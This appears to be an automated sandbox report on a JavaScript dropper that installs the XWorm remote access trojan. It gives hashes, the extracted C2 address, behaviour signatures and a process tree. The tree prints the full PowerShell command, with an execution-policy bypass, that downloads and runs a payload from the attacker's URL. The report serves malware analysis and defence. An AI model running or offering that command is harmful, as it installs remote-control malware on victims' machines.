Analysis

  • max time kernel
    285s
  • max time network
    296s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02-11-2024 13:20

General

  • Target

    28f00102733ebd8d49df607dc67b5e4a569137d9bc46a5908ec9f5930aaa8804.js

  • Size

    37KB

  • MD5

    e92cc1e935c40fea032292de0c6504e7

  • SHA1

    a3a36073c53845f94faded04e4c9cf54873a87b2

  • SHA256

    28f00102733ebd8d49df607dc67b5e4a569137d9bc46a5908ec9f5930aaa8804

  • SHA512

    aa826cf61930bd095c678d9af0401d2429f61e2bf7d47fb6700e96db496791a5659dd81e1686293915a51f6dc94d59cfe02ca10fc7ba0350d56222fddb564845

  • SSDEEP

    384:8ZZ9ZZ9ZZ9ZZRZZ9ZZ9ZZ9ZZlbPZZ9ZZcZZ9ZZ9ZZ9ZZXZZ9ZZ9ZZ9ZZl/ZZ9ZZm:Ywqfm7jk

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://paradisoprovisor1.hospedagemdesites.ws/wp-admin/images/about-heade-about.svg

Extracted

Family

xworm

Version

3.1

C2

45.40.96.97:7000

Mutex

U7A2Hi5eLNhvuoqw

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\28f00102733ebd8d49df607dc67b5e4a569137d9bc46a5908ec9f5930aaa8804.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:740
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nologo -ExecutionPolicy Bypass i'e'x ((New-Object System.Net.WebClient).DownloadString('http://paradisoprovisor1.hospedagemdesites.ws/wp-admin/images/about-heade-about.svg'))
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2652
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        3⤵
          PID:1476
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:3580

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_z3f3oa4t.bd5.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/2652-14-0x00007FFEE6430000-0x00007FFEE6EF1000-memory.dmp

      Filesize

      10.8MB

    • memory/2652-1-0x00000181BCC00000-0x00000181BCC22000-memory.dmp

      Filesize

      136KB

    • memory/2652-11-0x00007FFEE6430000-0x00007FFEE6EF1000-memory.dmp

      Filesize

      10.8MB

    • memory/2652-12-0x00007FFEE6430000-0x00007FFEE6EF1000-memory.dmp

      Filesize

      10.8MB

    • memory/2652-13-0x00007FFEE6433000-0x00007FFEE6435000-memory.dmp

      Filesize

      8KB

    • memory/2652-0-0x00007FFEE6433000-0x00007FFEE6435000-memory.dmp

      Filesize

      8KB

    • memory/2652-15-0x00007FFEE6430000-0x00007FFEE6EF1000-memory.dmp

      Filesize

      10.8MB

    • memory/2652-16-0x00000181BD0B0000-0x00000181BD0E8000-memory.dmp

      Filesize

      224KB

    • memory/2652-17-0x00007FFEE6430000-0x00007FFEE6EF1000-memory.dmp

      Filesize

      10.8MB

    • memory/2652-18-0x00007FFEE6430000-0x00007FFEE6EF1000-memory.dmp

      Filesize

      10.8MB

    • memory/2652-22-0x00007FFEE6430000-0x00007FFEE6EF1000-memory.dmp

      Filesize

      10.8MB

    • memory/3580-19-0x0000000000400000-0x000000000040E000-memory.dmp

      Filesize

      56KB

    • memory/3580-23-0x0000000005710000-0x00000000057AC000-memory.dmp

      Filesize

      624KB